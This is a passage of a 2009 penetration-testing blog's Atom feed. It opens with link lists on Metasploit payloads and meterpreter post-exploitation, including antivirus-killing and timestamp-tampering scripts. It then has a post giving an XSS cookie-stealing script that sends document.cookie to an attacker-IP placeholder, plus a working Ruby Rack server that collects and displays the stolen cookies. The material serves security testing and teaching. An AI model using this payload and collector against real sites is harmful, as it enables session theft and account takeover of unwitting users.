<li><a href="http://sites.google.com/site/visitabhiluck/Home/technical-writing/creating-malicious-executables-using-metasploit">More msfpayload information</a></li><br />
<li><a href="http://www.darkoperator.com/blog/2009/4/25/evil-packaging-on-osx-with-xcode-and-metasploit.html">Interesting worked example of msfpayload setup on osx</a></li><br />
<li><a href="http://www.gamelinux.org/?cat=17">Interesting write-up on eval_php for for webserver compromise</a></li><br />
</ul></p>

<p><br />
<b>Post-Exploitation (meterpreter and the like) Information</b><br />
<ul><br />
<li><a href="http://carnal0wnage.blogspot.com/2009/04/more-on-working-with-incognito-and.html">Post on meterpreter usage</a>.  Has some interesting points on what can be done with Meterpreter.</li><br />
<li><a href="http://www.kecoak-elektronik.net/log/2009/03/01/fun-and-profit-with-meterpreter/"> Interesting post on using meterpreter again</a> Some information on using meterpreter scripts like killav to stop exploits being detected, and timestomp to make discovery harder.</li><br />
<li><a href="http://sites.google.com/site/visitabhiluck/Home/technical-writing/post-exploitation-activities"> Article from the Metasploit wikibook on post-exploitation activities</a></li><br />
</ul></p>]]>
        
    </content>
</entry>

<entry>
    <title>Rack for Pen Testing</title>
    <link rel="alternate" type="text/html" href="http://www.mccune.org.uk/blog/2009/03/rack-for-pen-te.html" />
    <id>tag:www.mccune.org.uk,2009:/blog//1.513</id>

    <published>2009-03-31T19:37:18Z</published>
    <updated>2009-03-31T20:30:26Z</updated>

    <summary>One of the many things I got introduced to at Scotland on Rails was the Rack project. Designed to help create flexible web application deployments, it creates an interface between webservers and ruby web app. frameworks (rails, sinatra etc). Reading...</summary>
    <author>
        <name>Rory2</name>
        <uri>http://www.mccune.org.uk</uri>
    </author>
    
        <category term="Penetration Testing" scheme="http://www.sixapart.com/ns/types#category" />
    
    
    <content type="html" xml:lang="en" xml:base="http://www.mccune.org.uk/blog/">
        <![CDATA[<p>One of the many things I got introduced to at Scotland on Rails was the <a href="http://rack.rubyforge.org/">Rack project</a>.  Designed to help create flexible web application deployments, it creates an interface between webservers and ruby web app. frameworks (rails, sinatra etc).</p>

<p>Reading some of the examples, it occurred to me that Rack could be pretty handy for web application testing where sometimes it's useful to have a minimal web application to bounce things off.</p>

<p>One example of this is demo'ing XSS attacks.  A standard XSS attack is cookie stealing.  The way this works is the attacker inserts a script tag with a reference to a URL controlled by the attacker and inserts the cookie for the victim site into a parameter to the URL.  </p>

<p>So for example if we've found an XSS vector we can put</p>

<pre>
&lt;script&gt;document.location=&quot;http://&lt;attacker_ip/cookiegrabber?cookie=&quot;+document.cookie&lt;/script&gt;
</pre>
into the vulnerable box and if we have a server listening on that IP address we get the cookie..

<p>Here's where rack comes in.  You can use rack to very quickly create some code to listen on a port and accept the incoming request (and indeed to anything else you can do with ruby, but hey lets start small).</p>

<p>A proof of concept script to do something like this might look like the one below...</p>

<pre>
#!/usr/bin/env ruby
require 'rubygems'
require 'rack'
builder = Rack::Builder.new do
  use Rack::CommonLogger
  @@grabbed = Array.new
  map '/' do
    run Proc.new {|env| [200, {&quot;Content-Type&quot; =&gt; &quot;text/html&quot;}, &quot;&lt;h1&gt; Rack Pen Test Helper&lt;/h1&gt;&quot;]}
  end
  
  map '/cookiegrabber' do
    app = proc do |env|
      req = Rack::Request.new(env) 
      ip = req.ip.to_s
      cookie = req.params['cookie'] || &quot;No Cookie Parameter passed&quot;
      @@grabbed &lt;&lt; [ip,cookie]
      [200, {&quot;Content-Type&quot; =&gt; &quot;text/html&quot;}, &quot;grabbed &quot; + cookie + &quot; from &quot; + ip + &quot;&lt;br /&gt; Grabbed &quot; + @@grabbed.length.to_s + &quot; cookies so far&quot;]
    end
    run app
  end
  
  map '/cookiegrabbed' do
    app = proc do |env|
      out = &quot;&quot;
      if @@grabbed.length &gt; 0
        @@grabbed.each do |crumb|
          out &lt;&lt; &quot;Grabbed a cookie with value  &quot; + crumb[1] + &quot; from &quot; + crumb[0] + &quot;&lt;br /&gt;&quot;
        end
      else
        out = &quot;Nothing Grabbed so far&quot;
      end
      [200, {&quot;Content-Type&quot; =&gt; &quot;text/html&quot;}, out]
    end
    run app
  end
end
Rack::Handler::Mongrel.run builder, :Port =&gt; 9292
</pre>]]>
        
    </content>
</entry>

</feed>
